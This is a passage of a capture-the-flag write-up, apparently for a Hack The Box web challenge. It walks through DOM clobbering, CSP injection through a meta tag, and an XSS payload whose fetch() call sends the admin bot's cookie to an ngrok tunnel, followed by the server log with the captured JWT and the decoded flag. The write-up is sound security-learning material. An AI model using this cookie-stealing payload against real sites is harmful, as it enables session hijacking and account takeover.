product.prepend(`<p class='reset-pos rpgui-container framed-golden-2'>Potion Type: ${potionTypes[i].name}</p>`);
product.prepend(`<img src='${potionTypes[i].src}' class='category-img'>`);
}
}
}
It is selecting HTML elements that have class potion-item
and prepending HTML content if data-category
equals potionTypes[i].id
.
Let’s go step by step. This is a basic DOM Clobbering attack:
However, potionTypes.length
is undefined. We can overcome this adding more HTML elements with id="potionTypes"
:
We see that potionTypes[i].id = 'potionTypes'
, and product.data('category')
will be an integer because Joi
will check it:
<div class="potion-item" data-category="{{ product.product_category }}">
We cannot simply add another HTML element containing data-category
attribute because the above one is loaded first, so jQuery will only use that one.
The objective is to control the id
property of any element of potionTypes[i]
. JavaScript is weird sometimes, and this can be done with this payload:
Since we are forced to use name="potionTypes"
in the img
tag to clobber the window
object and control the id
attribute (see this article), the only way we can inject HTML is in the src
attribute. We can try something like this, using cid:
scheme:
r = s.post(f'http://{host}/api/products/add', json={
'product_name': 'asdf',
'product_desc': '''<a id="potionTypes"></a><img id="1" name="potionTypes" src="cid:x\\' onerror='alert(123)'">''',
'product_price': '123',
'product_category': '1',
'product_keywords': 'asdf',
'product_og_title': 'fdsa',
'product_og_desc': '''script-src 'unsafe-inline' http://127.0.0.1:1337/static/js/product.js http://127.0.0.1:1337/static/js/jquery.min.js" http-equiv="Content-Security-Policy''',
})
$ python3 solve.py 127.0.0.1:1337 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOnRydWUsImlhdCI6MTY3MDM0MTcxNH0.8rAyX5qbFYtOU4Fms6pvm7LBIlkkP3rlzUcvZq1G-nM
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOnRydWUsImlhdCI6MTY3MDM0MTcxNH0.8rAyX5qbFYtOU4Fms6pvm7LBIlkkP3rlzUcvZq1G-nM
{"message":"Potion added and being reviewed by admin!"}
This is how the DOM was clobbered:
Amazing… Now we can just enter some JavaScript code to steal the bot’s cookie. We can use ngrok
to expose our local HTTP server publicly:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
$ ngrok http 80
ngrok
Join us in the ngrok community @ https://ngrok.com/slack
Session Status online
Account Rocky (Plan: Free)
Version 3.1.0
Region United States (us)
Latency -
Web Interface http://127.0.0.1:4040
Forwarding https://abcd-12-34-56-78.ngrok.io -> http://localhost:80
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
This is the final payload that will make the bot send back its cookie:
r = s.post(f'http://{host}/api/products/add', json={
'product_name': 'asdf',
'product_desc': '''<a id="potionTypes"></a><img id="1" name="potionTypes" src="cid:x\\' onerror='fetch(`http://abcd-12-34-56-78.ngrok.io/`+document.cookie,{mode:`no-cors`})'">''',
'product_price': '123',
'product_category': '1',
'product_keywords': 'asdf',
'product_og_title': 'fdsa',
'product_og_desc': '''script-src 'unsafe-inline' http://127.0.0.1/static/js/product.js http://127.0.0.1/static/js/jquery.min.js" http-equiv="Content-Security-Policy''',
})
$ python3 solve.py 127.0.0.1:1337 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOnRydWUsImlhdCI6MTY3MDM0MTcxNH0.8rAyX5qbFYtOU4Fms6pvm7LBIlkkP3rlzUcvZq1G-nM
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOnRydWUsImlhdCI6MTY3MDM0MTcxNH0.8rAyX5qbFYtOU4Fms6pvm7LBIlkkP3rlzUcvZq1G-nM
{"message":"Potion added and being reviewed by admin!"}
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::1 - - [] code 404, message File not found
::1 - - [] "GET /session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwidmVyaWZpZWQiOnRydWUsImZsYWciOiJIVEJ7ZjRrM19mbDRnX2Ywcl90M3N0MW5nfVxuIiwiaWF0IjoxNjcwMzUwODg1fQ.3Sk9_oyQCe6-F-kxhWF6ASiHQTtP8dprZ111r7_veLs HTTP/1.1" 404 -
^C
Keyboard interrupt received, exiting.
$ echo eyJ1c2VybmFtZSI6ImFkbWluIiwidmVyaWZpZWQiOnRydWUsImZsYWciOiJIVEJ7ZjRrM19mbDRnX2Ywcl90M3N0MW5nfVxuIiwiaWF0IjoxNjcwMzUwODg1fQ | base64 -d
{"username":"admin","verified":true,"flag":"HTB{
$ echo eyJ1c2VybmFtZSI6ImFkbWluIiwidmVyaWZpZWQiOnRydWUsImZsYWciOiJIVEJ7ZjRrM19mbDRnX2Ywcl90M3N0MW5nfVxuIiwiaWF0IjoxNjcwMzUwODg1fQ= | base64 -d
{"username":"admin","verified":true,"flag":"HTB{
$ echo eyJ1c2VybmFtZSI6ImFkbWluIiwidmVyaWZpZWQiOnRydWUsImZsYWciOiJIVEJ7ZjRrM19mbDRnX2Ywcl90M3N0MW5nfVxuIiwiaWF0IjoxNjcwMzUwODg1fQ== | base64 -d
{"username":"admin","verified":true,"flag":"HTB{f4k3_fl4g_f0r_t3st1ng}\n","iat":1670350885}
Flag
Now let’s do it on the remote instance:
$ python3 solve.py 178.62.84.158:32007
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOnRydWUsImlhdCI6MTY3MDM1MTAyOX0.egUuxRyzdtB9zmB05UHbhT69N5fwd3p_p6gleCglEtw
{"message":"Potion added and being reviewed by admin!"}
And there we receive the JWT token and we have the flag:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::1 - - [] code 404, message File not found
::1 - - [] "GET /session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwidmVyaWZpZWQiOnRydWUsImZsYWciOiJIVEJ7YjR0Y2hfbXlfcDA3MTBuNV93MTdoX3MwbTNfbTN0NF9tNGcxY30iLCJpYXQiOjE2NzAzNTEwMzB9.gYf1eyRWnidNYCDK4e9UbaMc3JbBuFBFWhwUZYeCu9A HTTP/1.1" 404 -
^C
Keyboard interrupt received, exiting.
$ echo eyJ1c2VybmFtZSI6ImFkbWluIiwidmVyaWZpZWQiOnRydWUsImZsYWciOiJIVEJ7YjR0Y2hfbXlfcDA3MTBuNV93MTdoX3MwbTNfbTN0NF9tNGcxY30iLCJpYXQiOjE2NzAzNTEwMzB9 | base64 -d
{"username":"admin","verified":true,"flag":"HTB{b4tch_my_p0710n5_w17h_s0m3_m3t4_m4g1c}","iat":1670351030}
The full script can be found in here: solve.py
.